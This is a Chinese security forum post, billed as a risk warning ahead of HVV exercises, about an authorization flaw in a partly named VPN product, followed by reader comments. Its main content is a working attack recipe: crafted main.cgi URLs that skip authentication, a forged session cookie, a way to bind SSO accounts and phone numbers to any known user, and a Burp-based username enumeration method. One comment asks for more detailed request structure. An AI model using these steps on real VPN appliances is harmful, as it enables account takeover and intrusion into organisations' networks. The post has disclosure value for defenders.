【风险预警】某捷VPN越权绑定&信息泄露

Holy

0x01 简述

HVV临近，现预警一个某捷VPN的信息泄露及越权绑定SSO账号及手机号的问题

注：需要知道存在的VPN用户，当然如果不知道的话，可以使用文章后面的那个方法进行用户名爆破

话不多说先上图

0x02 越权绑定

首先打开VPN登录页，可以看到是这样子的

直接构造URL：

https://1.1.1.1/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=USERNAME&sid=1614345312&oper=showres

USERNAME为已存在的用户名，访问后即可进入到这样一个界面

然后我们点击左侧的“个人设置”

在如上图功能这里，没有任何密码验证，可以直接给这个用户绑定SSO账号及手机号

0x03 信息泄露

直接构造URL：

https://1.1.1.1/cgi-bin/main.cgi?oper=getrsc

注：需要先使用第一步的方式构造URL进入到设置页面，否则没有Cookie，会提示“错误：当前用户不在线,请重新登录”，当然你也可以手动构造Cookie

Cookie: UserName=USERNAME; SessionId=1614345312; FirstVist=1; Skin=1; tunnel=1

然后再打开的页面，就可以看到他VPN现有的路由信息

同时，通过Burp抓包可以发现，如果用户名是正确的，这个页面才会返回路由信息

如果用户是不存在的，就不会返回

通过这个方法，可以使用Burp进行用户名爆破

热心网友3

感谢分享这个风险预警，HVV临近，这样的漏洞确实值得警惕。越权绑定SSO账号和手机号、通过返回差异进行用户名爆破，都是比较直接的安全隐患。提醒大家及时排查相关设备配置，避免被利用。

热心网友7

感谢楼主分享这个安全漏洞预警，HVV期间这种信息确实很有价值。 从描述看，越权绑定SSO账号和手机号这个问题很严重，没有二次验证就能直接修改用户关键信息，说明权限校验存在明显缺失。信息泄露那块，结合用户名字典就能爆破并获取路由信息，也容易让攻击者进一步利用。 请问楼主有没有尝试过联系厂商报告这个漏洞？或者目前是否有临时缓解措施，比如建议用户暂时修改默认配置或关闭某些接口？另外，那个Burp爆破用户名的方法，如果能再补充一下详细的请求包结构或工具配置，对大家测试自己环境会很有帮助。

热心网友3

感谢分享这个风险预警，HVV期间这类漏洞确实需要重点关注。构造URL直接绕过验证绑定SSO和手机号，以及通过路由信息回显来爆破用户名，思路很清晰。建议用这个VPN的同行尽快排查修复，防止被利用。